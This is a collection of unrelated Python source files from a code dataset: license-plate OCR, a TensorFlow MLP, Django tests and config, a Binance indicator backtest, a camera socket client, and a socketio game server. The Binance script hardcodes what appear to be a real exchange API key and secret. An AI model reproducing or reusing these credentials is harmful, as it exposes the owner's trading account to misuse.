+{"seq_id":"462111291","text":"import cv2\r\nimport imutils\r\nimport numpy as np\r\nimport pytesseract\r\nfrom PIL import Image\r\npytesseract.pytesseract.tesseract_cmd = r\"C:\\Program Files\\Tesseract-OCR\\tesseract.exe\"\r\n\r\n\"\"\"\r\npreprocessing the image file\r\nmake a function\r\n\"\"\"\r\n# Read Image\r\nimage = cv2.imread('w.jpg')\r\n\r\n# resize the image\r\n#image= imutils.resize(image,width=500)\r\n\r\n#display the image\r\ncv2.imshow('0--- orignal image',image)\r\ncv2.waitKey(0)\r\n\r\n# convert it to greyscale\r\ngray = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)\r\ncv2.imshow(\"1 ---  Gray scale image\",gray)\r\ncv2.waitKey(0)\r\n\r\n#Noise Removal\r\nnoise = cv2.medianBlur(gray,3)\r\ncv2.imshow(\"2 --- medianBlur Blur\",noise)\r\ncv2.waitKey(0)\r\n\r\n\r\n#bilateralFilter\r\ngray = cv2.bilateralFilter(gray,11,17,17)\r\ncv2.imshow(\"3 --- bilateralFilter\", gray)\r\ncv2.waitKey(0)\r\n\r\n\r\n\"\"\"\r\nThreshold\r\nthre = cv2.threshold(gray,62, 255, cv2.THRESH_BINARY)\r\ncv2.imshow(\"4 --- Threshold\",thre)\r\ncv2.waitKey(0)\r\nTypeError: Expected Ptr<cv::UMat> for argument 'mat'\r\n use img2 = np.array(img) convert numpy object later\r\n\"\"\"\r\n\r\n\r\n\r\n\r\n#Canny Edge Detection\r\n\"\"\"\r\nFind edges , smooth , Gaussian blur\r\n\"\"\"\r\nedged = cv2.Canny(gray,170,200)\r\ncv2.imshow(\"5 --- Canny Edges\",edged)\r\ncv2.waitKey(0)\r\n\r\n# find Con based on edges\r\ncnts , new = cv2.findContours(edged.copy(), cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\r\n# first argument is source image, second is contour retrieval mode, and the third is contours approximation.\r\n# output provides no. of contour and second is heirachy\r\n\r\n#create copy of orignal image to drawContours\r\nimg1= image.copy()\r\ncv2.drawContours(img1,cnts,-1,(0,255,0),3)\r\ncv2.imshow(\"6 --- All Contour\",img1)\r\ncv2.waitKey(0)\r\n\r\n\r\n\r\n\r\n\"\"\"\r\nSort contour based on their area keeep minimum  required area is 30\r\nanything under this willl not be considered\r\n\"\"\"\r\ncnts = sorted(cnts, key=cv2.contourArea,reverse=True)[:30]\r\n\r\nNumberPlateCnt = None # initially its None\r\n\r\n\r\n\"\"\"\r\nNow will draw top 30 contours on image , first we will copy image file\r\n\"\"\"\r\nimg2 = image.copy()\r\ncv2.drawContours(img2,cnts,-1,(0,255,0),3)\r\ncv2.imshow(\"7 ---  Top 30 Contour\",img2)\r\ncv2.waitKey(0)\r\n\r\n\"\"\"\r\nloop over all these contours to find te best possible approximate\r\ncontour with 4 corners\r\n\"\"\"\r\ncount =0\r\nidx =0# to store the cropped images\r\n\r\n\r\nfor c in cnts :\r\n    peri = cv2.arcLength(c,True)  # Calculating Perimeter of each contour\r\n    approx = cv2.approxPolyDP(c,0.02*peri , True) # How many edges are there for each contour\r\n    if(len(approx)) == 4 :        # Select the Contour with 4 corners\r\n        NumberPlateCnt = approx   # This is our approx. number plate contour\r\n\r\n        # Crop these contour and store it in Cropped image folder\r\n        x,y,w,h = cv2.boundingRect(c) # this will find the co ordinates for plate\r\n        new_img = image[y:y+h ,x:x+w] # create new image\r\n        cv2.imwrite(str(idx)+\".png\",new_img) # store new image\r\n        print(idx)\r\n        idx=idx+1\r\n        cv2.drawContours(image,[NumberPlateCnt],-1,(0,255,0),3)\r\n        cv2.imshow(\"8 --- final image\",image)\r\n        cv2.waitKey(0)\r\n\r\n\r\n\r\n# Drawing the selected con on the image\r\n\r\nl =[]\r\n\r\nfor i in range(idx):\r\n    cropped_image_loc = str(i)+\".png\"\r\n    cv2.imshow(\"Cropped Image \",cv2.imread(cropped_image_loc))\r\n\r\n    # Use tesseract to convert image to string\r\n    pytesseract.pytesseract.tesseract_cmd = r\"C:\\Program Files\\Tesseract-OCR\\tesseract.exe\"\r\n    text = pytesseract.image_to_string(cropped_image_loc)\r\n    l.append(text)\r\n\r\n    cv2.waitKey(0)\r\n\r\n\r\nprint(l)\r\n","sub_path":"p0.py","file_name":"p0.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"509798172","text":"import tensorflow as tf\nfrom simple_tf.global_params import GlobalConstants\n\nFIRST_LAYER = 256\nSECOND_LAYER = 128\nTHIRD_LAYER = 64\n\n\ndef baseline(node, network, variables=None):\n    # Parameters - Convolution Layers\n    network.mask_input_nodes(node=node)\n    flat_x = tf.contrib.layers.flatten(network.dataTensor)\n    flat_dimension_size = flat_x.get_shape().as_list()[-1]\n    # FC 1 Weights\n    fc_weights_1 = tf.Variable(tf.truncated_normal(\n        [flat_dimension_size, FIRST_LAYER],\n        stddev=0.1, seed=GlobalConstants.SEED, dtype=GlobalConstants.DATA_TYPE),\n        name=network.get_variable_name(name=\"fc_residue_weights_1\", node=node))\n    fc_biases_1 = tf.Variable(tf.constant(0.1, shape=[FIRST_LAYER], dtype=GlobalConstants.DATA_TYPE),\n                              name=network.get_variable_name(name=\"fc_residue_biases_1\", node=node))\n    # FC 2 Weights\n    fc_weights_2 = tf.Variable(tf.truncated_normal(\n        [FIRST_LAYER, SECOND_LAYER],\n        stddev=0.1, seed=GlobalConstants.SEED, dtype=GlobalConstants.DATA_TYPE),\n        name=network.get_variable_name(name=\"fc_residue_weights_2\", node=node))\n    fc_biases_2 = tf.Variable(tf.constant(0.1, shape=[SECOND_LAYER], dtype=GlobalConstants.DATA_TYPE),\n                              name=network.get_variable_name(name=\"fc_residue_biases_2\", node=node))\n    # FC 3 Weights\n    fc_weights_3 = tf.Variable(tf.truncated_normal(\n        [SECOND_LAYER, THIRD_LAYER],\n        stddev=0.1, seed=GlobalConstants.SEED, dtype=GlobalConstants.DATA_TYPE),\n        name=network.get_variable_name(name=\"fc_residue_weights_3\", node=node))\n    fc_biases_3 = tf.Variable(tf.constant(0.1, shape=[THIRD_LAYER], dtype=GlobalConstants.DATA_TYPE),\n                              name=network.get_variable_name(name=\"fc_residue_biases_3\", node=node))\n    # Softmax Weights\n    fc_softmax_weights = tf.Variable(\n        tf.truncated_normal([THIRD_LAYER, GlobalConstants.NUM_LABELS],\n                            stddev=0.1,\n                            seed=GlobalConstants.SEED,\n                            dtype=GlobalConstants.DATA_TYPE),\n        name=network.get_variable_name(name=\"fc_softmax_weights\", node=node))\n    fc_softmax_biases = tf.Variable(tf.constant(0.1, shape=[GlobalConstants.NUM_LABELS],\n                                                dtype=GlobalConstants.DATA_TYPE),\n                                    name=network.get_variable_name(name=\"fc_softmax_biases\", node=node))\n    # Fully Connected Layers\n    hidden_layer_1 = tf.nn.relu(tf.matmul(flat_x,         fc_weights_1) + fc_biases_1)\n    hidden_layer_2 = tf.nn.relu(tf.matmul(hidden_layer_1, fc_weights_2) + fc_biases_2)\n    hidden_layer_3 = tf.nn.relu(tf.matmul(hidden_layer_2, fc_weights_3) + fc_biases_3)\n    # logits = tf.matmul(hidden_layer_2, fc_softmax_weights) + fc_softmax_biases\n    # Loss\n    final_feature, logits = network.apply_loss(node=node, final_feature=hidden_layer_3,\n                                               softmax_weights=fc_softmax_weights, softmax_biases=fc_softmax_biases)\n    # Evaluation\n    node.evalDict[network.get_variable_name(name=\"posterior_probs\", node=node)] = tf.nn.softmax(logits)\n    node.evalDict[network.get_variable_name(name=\"labels\", node=node)] = node.labelTensor\n    # Variables Set\n    node.variablesSet = {fc_weights_1, fc_biases_1, fc_weights_2, fc_biases_2, fc_weights_3, fc_biases_3,\n                         fc_softmax_weights, fc_softmax_biases}\n\n    # # Convolution Layers\n    # network.mask_input_nodes(node=node)\n    # # First Conv Layer\n    # conv1 = tf.nn.conv2d(network.dataTensor, conv1_weights, strides=[1, 1, 1, 1], padding='SAME')\n    # relu1 = tf.nn.relu(tf.nn.bias_add(conv1, conv1_biases))\n    # pool1 = tf.nn.max_pool(relu1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\n    # # Second Conv Layer\n    # conv2 = tf.nn.conv2d(pool1, conv2_weights, strides=[1, 1, 1, 1], padding='SAME')\n    # relu2 = tf.nn.relu(tf.nn.bias_add(conv2, conv2_biases))\n    # pool2 = tf.nn.max_pool(relu2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\n    # # Third Conv Layer\n    # conv3 = tf.nn.conv2d(pool2, conv3_weights, strides=[1, 1, 1, 1], padding='SAME')\n    # relu3 = tf.nn.relu(tf.nn.bias_add(conv3, conv3_biases))\n    # pool3 = tf.nn.max_pool(relu3, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\n    # flattened = tf.contrib.layers.flatten(pool3)\n    # flat_dimension_size = flattened.get_shape().as_list()[-1]\n    # # FC 1 Weights\n    # fc_weights_1 = tf.Variable(tf.truncated_normal(\n    #     [flat_dimension_size, GlobalConstants.FASHION_FC_1],\n    #     stddev=0.1, seed=GlobalConstants.SEED, dtype=GlobalConstants.DATA_TYPE),\n    #     name=network.get_variable_name(name=\"fc_weights_1\", node=node))\n    # fc_biases_1 = tf.Variable(tf.constant(0.1, shape=[GlobalConstants.FASHION_FC_1], dtype=GlobalConstants.DATA_TYPE),\n    #                           name=network.get_variable_name(name=\"fc_biases_1\", node=node))\n    # # FC 2 Weights\n    # fc_weights_2 = tf.Variable(tf.truncated_normal(\n    #     [GlobalConstants.FASHION_FC_1, GlobalConstants.FASHION_FC_2],\n    #     stddev=0.1, seed=GlobalConstants.SEED, dtype=GlobalConstants.DATA_TYPE),\n    #     name=network.get_variable_name(name=\"fc_weights_2\", node=node))\n    # fc_biases_2 = tf.Variable(tf.constant(0.1, shape=[GlobalConstants.FASHION_FC_2], dtype=GlobalConstants.DATA_TYPE),\n    #                           name=network.get_variable_name(name=\"fc_biases_2\", node=node))\n    # # Softmax Weights\n    # fc_softmax_weights = tf.Variable(\n    #     tf.truncated_normal([GlobalConstants.FASHION_FC_2, GlobalConstants.NUM_LABELS],\n    #                         stddev=0.1,\n    #                         seed=GlobalConstants.SEED,\n    #                         dtype=GlobalConstants.DATA_TYPE),\n    #     name=network.get_variable_name(name=\"fc_softmax_weights\", node=node))\n    # fc_softmax_biases = tf.Variable(tf.constant(0.1, shape=[GlobalConstants.NUM_LABELS],\n    #                                             dtype=GlobalConstants.DATA_TYPE),\n    #                                 name=network.get_variable_name(name=\"fc_softmax_biases\", node=node))\n    # # Fully Connected Layers\n    # hidden_layer_1 = tf.nn.relu(tf.matmul(flattened, fc_weights_1) + fc_biases_1)\n    # dropped_layer_1 = tf.nn.dropout(hidden_layer_1, network.classificationDropoutKeepProb)\n    # hidden_layer_2 = tf.nn.relu(tf.matmul(dropped_layer_1, fc_weights_2) + fc_biases_2)\n    # dropped_layer_2 = tf.nn.dropout(hidden_layer_2, network.classificationDropoutKeepProb)\n    # # logits = tf.matmul(hidden_layer_2, fc_softmax_weights) + fc_softmax_biases\n    # # Loss\n    # final_feature, logits = network.apply_loss(node=node, final_feature=dropped_layer_2,\n    #                                            softmax_weights=fc_softmax_weights, softmax_biases=fc_softmax_biases)\n    # # Evaluation\n    # node.evalDict[network.get_variable_name(name=\"posterior_probs\", node=node)] = tf.nn.softmax(logits)\n    # node.evalDict[network.get_variable_name(name=\"labels\", node=node)] = node.labelTensor\n    # # Variables Set\n    # node.variablesSet = {conv1_weights, conv1_biases, conv2_weights, conv2_biases, conv3_weights, conv3_biases,\n    #                      fc_weights_1, fc_biases_1, fc_weights_2, fc_biases_2, fc_softmax_weights, fc_softmax_biases}\n\n\ndef grad_func(network):\n    # self.initOp = tf.global_variables_initializer()\n    # sess.run(self.initOp)\n    vars = network.variableManager.trainable_variables()\n    decision_vars_list = []\n    classification_vars_list = []\n    residue_vars_list = []\n    regularization_vars_list = []\n    for v in vars:\n        classification_vars_list.append(v)\n        if not (\"gamma\" in v.name or \"beta\" in v.name):\n            regularization_vars_list.append(v)\n    network.decisionParamsDict = {}\n    network.mainLossParamsDict = {}\n    network.residueParamsDict = {}\n    network.regularizationParamsDict = {}\n    for i in range(len(decision_vars_list)):\n        network.decisionParamsDict[decision_vars_list[i]] = i\n    for i in range(len(classification_vars_list)):\n        network.mainLossParamsDict[classification_vars_list[i]] = i\n    for i in range(len(residue_vars_list)):\n        network.residueParamsDict[residue_vars_list[i]] = i\n    for i in range(len(regularization_vars_list)):\n        network.regularizationParamsDict[regularization_vars_list[i]] = i\n    # for i in range(len(vars)):\n    #     network.regularizationParamsDict[vars[i]] = i\n    network.classificationGradients = tf.gradients(ys=network.mainLoss, xs=classification_vars_list)\n    network.decisionGradients = None\n    network.residueGradients = tf.gradients(ys=network.residueLoss, xs=residue_vars_list)\n    network.regularizationGradients = tf.gradients(ys=network.regularizationLoss, xs=regularization_vars_list)\n\n\ndef threshold_calculator_func(network):\n    pass\n\n\ndef residue_network_func(network):\n    pass\n\n\ndef tensorboard_func(network):\n    pass","sub_path":"simple_tf/fashion_net/fashion_net_mlp_baseline.py","file_name":"fashion_net_mlp_baseline.py","file_ext":"py","file_size_in_byte":8934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"249292344","text":"from django.test import TestCase\n\nfrom django.contrib.auth.models import User\nfrom backend.models import Course, Article, CourseGroup\n\n\nclass ModelTestCase(TestCase):\n    def setUp(self):\n        self.user = User(username='bllli', is_superuser=True)\n        self.user2 = User(username='二狗子')\n        self.user3 = User(username='三毛')\n        self.user4 = User(username='四攻爹')\n        self.teacher = User(username='老师吼')\n        self.user.save()\n        self.user2.save()\n        self.user3.save()\n        self.user4.save()\n        self.teacher.save()\n        self.article = Article(title='走位、消耗及补兵', content_md='# 写在前面\\n没啥好说的了', author=self.teacher)\n        self.article.save()\n        self.course = self.teacher.course_set.create(detail=self.article)\n        self.course.save()\n        self.cg = self.course.coursegroup_set.create(name='飞龙在天兴趣小组', creator=self.user)\n        self.cg: CourseGroup\n        self.cg.members.add(self.user2, self.user3)\n        self.cg.save()\n        self.article_g = self.cg.creator.article_set.create(title='飞龙在天组对MOBA类游戏中走位、消耗、补兵的研究成果',\n                                                            content_md='# 一 前言\\n## 1.1 各大MOBA游戏机理剖析...')\n        self.article_g.save()\n        self.article_g.add_comment(self.teacher, '3', '一个简短的评论语')\n        self.cg.save()\n\n    def test_models(self):\n        self.assertEqual(self.course.author, self.teacher)\n        self.assertTrue(self.course in self.teacher.course_set.all())\n        print(self.teacher.course_set.all())\n        self.assertTrue(self.cg.belong is self.course)\n\n        self.assertTrue('补兵' in self.course.detail.title)\n\n        self.assertTrue(self.cg.in_group(self.user))\n        self.assertTrue(self.cg.is_creator(self.user))\n        self.assertTrue(self.cg.in_group(self.user2))\n        self.assertTrue(self.cg.in_group(self.user3))\n        self.assertFalse(self.cg.in_group(self.user4))\n        self.cg.join(self.user4)\n        self.assertTrue(self.cg.in_group(self.user4))\n        self.cg.leave(self.user2)\n        self.assertFalse(self.cg.in_group(self.user2))\n\n        self.cg.disband()\n        print(self.course.coursegroup_set.all())\n","sub_path":"backend/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"91504876","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nfrom binance.client import Client\nimport datetime\nimport talib\n# Nastavte pripojenie k Binance API\nAPI_KEY = 'upeqHGqjVJZBN9ylZWupxB6phW5Zs65AOZFzyvXjdDiHn9k2nTMjWR8S3Kt9EGuv'\nAPI_SECRET = '0OsoV9MHfVR2idfQJeBK65z2s4i8Hk4uEYDZY3DLkQNEIMHjBMBYcCOpYwO2fJHC'\nclient = Client(API_KEY, API_SECRET)\n\nsymbol = \"SXPUSDT\"\ninterval = Client.KLINE_INTERVAL_4HOUR\nstart_date = datetime.datetime(2022, 6, 1)\nend_date = datetime.datetime(2023, 6, 16)\n\n# Získajte historické údaje pomocou get_historical_klines\nklines = client.get_historical_klines(symbol, interval, start_date.strftime(\n    \"%d %b %Y %H:%M:%S\"), end_date.strftime(\"%d %b %Y %H:%M:%S\"))\n\n# Vytvorte DataFrame z historických údajov\ncolumns = ['date', 'open', 'high', 'low', 'close', 'volume', 'close_time', 'quote_asset_volume', 'number_of_trades',\n           'taker_buy_base_asset_volume', 'taker_buy_quote_asset_volume', 'ignore']\ndf = pd.DataFrame(klines, columns=columns)\n\n# Konvertujte hodnoty na správne dátumy a numerické hodnoty\ndf['date'] = pd.to_datetime(df['date'], unit='ms')\ndf = df.astype({\n    'open': float,\n    'high': float,\n    'low': float,\n    'close': float,\n    'volume': float,\n    'close_time': int,\n    'quote_asset_volume': float,\n    'number_of_trades': int,\n    'taker_buy_base_asset_volume': float,\n    'taker_buy_quote_asset_volume': float,\n    'ignore': float\n})\n\n\n# Vypočítajte ADOSC indikátor pomocou talib\nfastperiod = 3\nslowperiod = 10\ndf['adosc'] = talib.ADOSC(df['high'], df['low'], df['close'],\n                          df['volume'], fastperiod=fastperiod, slowperiod=slowperiod)\ndf['signal'] = 0\n# Nastavenie hodnôt na 1, keď ADOSC prejde cez 0 zo spodu nahor, signalizujúc nákup\ndf.loc[(df['adosc'].shift() < 0) & (df['adosc'] > 0)\n       & (df['adosc'].shift() < -100), 'signal'] = 1\n\n# Nastavenie hodnôt na -1, keď ADOSC prejde cez 0 zhora nadol, signalizujúc predaj\ndf.loc[(df['adosc'].shift() > 0) & (df['adosc'] < 0), 'signal'] = -1\n\n\n# Výpočet zisku alebo straty na základe signálov\ndf['returns'] = df['close'].pct_change()\ndf['strategy_returns'] = df['returns'] * df['signal'].shift()\n\n# Výpočet celkového kumulatívneho zisku/straty iba pre nákupy (signal = 1)\ncumulative_returns = (1 + df[df['signal'] == 1]\n                      ['strategy_returns']).cumprod() - 1\ntotal_returns = cumulative_returns.iloc[-1]\n\ndf['portfolio_value'] = 1000 * (1 + df['strategy_returns']).cumprod()\n\nstrategy_returns_percentage = df['strategy_returns'].sum() * 100\nprint(\"Percentuálny výnos stratégie: \", strategy_returns_percentage, \"%\")\n\n# Zobrazenie grafu s cenou, indikátorom a signálmi\nfig, (ax1, ax2, ax3) = plt.subplots(3, 1, figsize=(12, 10), sharex=True)\n\n\n# Graf ceny a signálov\nax1.plot(df['date'], df['close'], label='Price', color='b')\nax1.plot(df[df['signal'] == 1]['date'], df[df['signal'] == 1]\n         ['close'], '^', markersize=8, color='g', label='Buy')\nax1.plot(df[df['signal'] == -1]['date'], df[df['signal'] == -1]\n         ['close'], 'v', markersize=8, color='r', label='Sell')\nax1.set_ylabel('Price')\nax1.legend()\n\n# Graf indikátora ADOSC\nax2.plot(df['date'], df['adosc'], label='ADOSC', color='m')\nax2.plot(df[df['signal'] == 1]['date'], df[df['signal'] == 1]\n         ['adosc'], '^', markersize=8, color='g', label='Buy')\nax2.plot(df[df['signal'] == -1]['date'], df[df['signal'] == -1]\n         ['adosc'], 'v', markersize=8, color='r', label='Sell')\nax2.set_ylabel('ADOSC')\nax2.legend()\n\n\nax3.plot(df['date'], df['portfolio_value'],\n         label='Portfolio Value', color='purple')\nax3.set_xlabel('Date')\nax3.set_ylabel('Portfolio Value')\nax3.legend()\n\n\nplt.xlabel('Date')\nplt.tight_layout()\nplt.show()\n\nprint(\"Celkový kumulatívny zisk/strata: \", total_returns)\n","sub_path":"Desktop/prog.py/firs_bot/kryptobotvnv/backtesitngpytho.py","file_name":"backtesitngpytho.py","file_ext":"py","file_size_in_byte":3761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"578239379","text":"from django.contrib import admin\nfrom django.urls import path,include\nfrom django.contrib.auth import views as auth_views\nfrom . import views\n\n\napp_name=\"ov\"\n\nurlpatterns = [\n\n    path('admin/', admin.site.urls),\n    path('',views.index,name=\"index\"),\n    path('outingform/',views.outingform,name='outingform'),\n    path('registration/',views.registration,name='registration'),\n    path('studentimport/',views.studentimport,name='student-import'),\n    path('outingform_filled/<str:reg_no>',views.outing_form,name='outingfill'),\n    path('login/',views.login_user,name='login'),\n    path('wardenview/',views.WardenView,name='warden'),\n    path('outingapproval/',views.OutingApproval,name=\"outing-approval\"),\n    path('outingdapproval/',views.OutingDApproval,name=\"outing-dapproval\"),\n    path('approve/',views.approve,name=\"approve\"),\n    path('dapprove/',views.dapprove,name=\"dapprove\"),\n    path('approveall/',views.approveall,name=\"approveall\"),\n    path('dapproveall/',views.dapproveall,name=\"dapproveall\"),\n    path('applyfilter/',views.filter_form,name=\"filter-forms\"),\n    path('exportouting/<str:p_ids>',views.export,name=\"export-outing\"),\n\n\n\n\n    \n    \n   \n\n\n\n]\n","sub_path":"ov/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"225927794","text":"from django.contrib import admin\nfrom .models import TweetUser, Tweet\n\nclass TweetUserAdmin(admin.ModelAdmin):\n    list_display = ('user_name', 'email_id','is_deleted',)\n    orderering = ('user_name',)\n    search_fields = ['user_name']\n\nadmin.site.register(TweetUser, TweetUserAdmin) \n\nclass TweetAdmin(admin.ModelAdmin):\n    list_display = ('first_10_characters','user','tweet_box','date_created','date_updated','is_deleted')\n    orderering = ('-date_updated',)\n    search_fields = ['tweet_box','user']\n\nadmin.site.register(Tweet, TweetAdmin)","sub_path":"Twitter/twitter_app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"8915911","text":"#!/usr/bin/env\tpython3\n# -*- coding: <UTF-8> -*-\n\n\nimport numpy as np\nimport socket\nimport binascii\n\n# check out IP of camera\ncameraIP = \"192.0.0.69\"\ncontrolport = 8080\nvideoport = 50002\n# protocol parameter\npackage_length = 13176  # in bytes\nheader_length = 94\ndata_length = 3200\nserver_address = (cameraIP, videoport)\n# protocol commands\nletter_D = binascii.a2b_qp('D')  # seems to be the same as\nletter_Z = 'Z'.encode('ascii')  # cartesian z distance\nletter_q = 'q'.encode('ascii')  # stop socket connection\n# numpy parameter\n\n\n# socket configuration\nclientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclientSocket.setblocking(True)\n# clientSocket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 20000)  # chang rcv buf size\nclientSocket.settimeout(1.5)\n# clientSocket.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, 1)\n\n\n## reshape nicht notwendig\nnp.set_printoptions(precision=2)\n\ntry:\n\tclientSocket.connect(server_address)\nexcept socket.error as sockerr:\n\tprint(\"Socket error: %s\" % str(sockerr))\nexcept Exception as e:\n\tprint(\"Other exception: %s\" % str(e))\n\nprint(\"Sending data request D\")\nclientSocket.sendall(letter_D)\n\n# receiving process. tricking recv into loop\nprint(\"Waiting for response\")\n\ndt = np.dtype('>f4')\n# bytedata = np.empty(13176, dtype=dt)\namount_received = 0\n# toread = 13176\ntoread = 4\nbytedata = b''\ntry:\n\t\"\"\"\n\n\twhile amount_received < package_length:\n\t\t# error => msg_bin is overwritten everytime I call recv\n\t\tchunk_bin = clientSocket.recv_into(usefuldata, int(package_length))\n\t\tamount_received += chunk_bin\n\n\n\n\twhile toread:\n\t\t# error => msg_bin is overwritten everytime I call recv\n\t\tnbytes = clientSocket.recv_into(bytedata, 4)\n\t\t#view = view[nbytes:]\n\t\ttoread -= nbytes\n\"\"\"\n\twhile amount_received < package_length:\n\t\t# error => msg_bin is overwritten everytime I call recv\n\t\tchunk_bin = clientSocket.recv(package_length)\n\t\tbytedata += chunk_bin\n\t\tamount_received += len(chunk_bin)\n\n\tprint(\"Data received. %s bytes\" % amount_received)\n\tprint(len(bytedata))\n\n\nexcept socket.timeout:\n\tprint(\"Timeout Exception\")\nexcept socket.error as sockerr:\n\tprint(\"Socket error: %s\" % str(sockerr))\n\nif socket:\n\tprint(\"Closing connection\")\n\tclientSocket.sendall(letter_q)\n\tclientSocket.close()\n\nusefuldata = np.fromstring(bytedata, dt)\nprint(usefuldata.shape)\ncutheader = usefuldata[94:3295]\nprint(cutheader.shape)\nuseful_matrix = np.reshape(cutheader, (50, 64))\nnp.savetxt('text.txt', useful_matrix, fmt='%.4f')\n\n\n\n\n\n\n","sub_path":"TakeAFoto.py","file_name":"TakeAFoto.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"451521408","text":"import socketio\nfrom gevent import pywsgi\nfrom game import Game\n\n# Mapping of HTTP request URLs to files in their relative directories in the project to\n# be served to clients.\nstatic_files = {\n    '/': 'static/index.html',\n    '/js/helper/player.js': 'static/js/helper/player.js',\n    '/js/helper/player_current.js': 'static/js/helper/player_current.js',\n    '/js/helper/player_other.js': 'static/js/helper/player_other.js',\n    '/js/helper/player_jumping_states.js': 'static/js/helper/player_jumping_states.js',\n    '/js/helper/player_movement_states.js': 'static/js/helper/player_movement_states.js',\n    '/js/platform/boost_platform_factory.js': 'static/js/platform/boost_platform_factory.js',\n    '/js/platform/broken_platform_factory.js': 'static/js/platform/broken_platform_factory.js',\n    '/js/platform/natural_platform_factory.js': 'static/js/platform/natural_platform_factory.js',\n    '/js/platform/platform_manager.js': 'static/js/platform/platform_manager.js',\n    '/js/phaser.min.js': 'static/js/phaser.min.js',\n    '/js/index.js': 'static/js/index.js',\n    '/js/game.js': 'static/js/game.js',\n    '/js/EndScene.js': 'static/js/EndScene.js',\n    '/js/socket.io.js': 'static/js/socket.io.js',\n    '/assets/sky.png': 'static/assets/sky.png',\n    '/assets/nature-row.png': 'static/assets/nature-row.png',\n    '/assets/nature-left.png': 'static/assets/nature-left.png',\n    '/assets/nature-center.png': 'static/assets/nature-center.png',\n    '/assets/nature-right.png': 'static/assets/nature-right.png',\n    '/assets/nature-rectangle.png': 'static/assets/nature-rectangle.png',\n    '/assets/broken.png': 'static/assets/broken.png',\n    '/assets/mushroom.png': 'static/assets/mushroom.png',\n    '/assets/mountain.png': 'static/assets/mountain.png',\n    '/assets/dino-yellow.png': 'static/assets/dino-yellow.png',\n    '/assets/dino-yellow-reverse.png': 'static/assets/dino-yellow-reverse.png',\n    '/assets/dino-green.png': 'static/assets/dino-green.png',\n    '/assets/dino-green-reverse.png': 'static/assets/dino-green-reverse.png',\n    '/assets/dino-red.png': 'static/assets/dino-red.png',\n    '/assets/dino-red-reverse.png': 'static/assets/dino-red-reverse.png',\n    '/assets/dino-blue.png': 'static/assets/dino-blue.png',\n    '/assets/dino-blue-reverse.png': 'static/assets/dino-blue-reverse.png',\n    '/assets/flag.png': 'static/assets/flag.png'\n}\n\n# Server timeout and ping interval in seconds. Timeout should be larger than interval\n# to account for multiple ping intervals.\nSERVER_PING_TIMEOUT = 5.0\nSERVER_PING_INTERVAL = 2.0\n\n\nclass Server(socketio.Namespace):\n    game = Game()\n\n    def on_connect(self, sid, environ):\n        print(\"Client connected w/ SID\", sid)\n\n        if not self.game.active:\n            self.game.start_game()\n\n        # Add player to game\n        self.game.add_player(sid)\n\n        self.emit('connect_ack', {\n            'sid': sid,\n            'pos_x': self.game.players[sid].pos_x,\n            'pos_y': self.game.players[sid].pos_y,\n            'color': self.game.players[sid].color\n        })\n\n        self.emit('players_info', self.game.get_players())\n\n    def on_disconnect(self, sid):\n        print(sid, \"Disconnected\")\n\n        # Remove player from game\n        self.game.remove_player(sid)\n\n        # If no players remaining, end the game\n        if len(self.game.get_players()) == 0:\n            self.game.end_game()\n            return\n\n        # Update players of removed player\n        self.emit('remove_player', {'sid': sid})\n\n    def on_player_movement(self, sid, data):\n        # Debugging statements\n        if data['state'] == 'idle':\n            print(sid, \" is idle at x:\", data['pos_x'], \" y:\", data['pos_y'])\n        elif data['state'] == 'moving_left' or data['state'] == 'moving_right':\n            print(sid, \"is moving at x velocity\", data['velocity_x'])\n\n        self.game.set_player_position(sid, data['pos_x'], data['pos_y'])\n        self.game.set_player_velocity_x(sid, data['velocity_x'])\n\n        # We want to emit to everyone player information\n        self.emit('players_info', self.game.get_players())\n\n    def on_player_jump(self, sid, data):\n        # Debugging statements\n        if data['state'] == 'idle':\n            print(sid, \" is not jumping\")\n        elif data['state'] == 'active':\n            print(sid, \" is jumping at y velocity: \", data['velocity_y'])\n\n        self.game.set_player_position(sid, data['pos_x'], data['pos_y'])\n        self.game.set_player_velocity_y(sid, data['velocity_y'])\n\n        # We want to emit to everyone player information\n        print(self.game.get_players())\n        self.emit('players_info', self.game.get_players())\n\n    def on_end_game(self, sid, data):\n        print(sid, \" won the game!\")\n\n        # Emit end game message to all connected clients\n        self.emit('end_game_trigger', {'sid': sid})\n\n    def on_restart_game(self, sid, data):\n        print(\"Restart game\")\n\n        self.game.restart_game()\n\n        # Send restart game event to all connected clients with reset positions\n        self.emit('restart_game', {'x':self.game.PLAYER_START_POS_X, 'y':self.game.PLAYER_START_POS_Y})\n\n\nif __name__ == '__main__':\n    sio = socketio.Server(async_mode='gevent', ping_timeout=SERVER_PING_TIMEOUT, ping_interval=SERVER_PING_INTERVAL)\n    sio.register_namespace(Server('/'))\n    app = socketio.WSGIApp(sio, static_files=static_files)\n\n    # Listen of port 8080 for testing\n    pywsgi.WSGIServer(('', 8080), app).serve_forever()\n\n","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
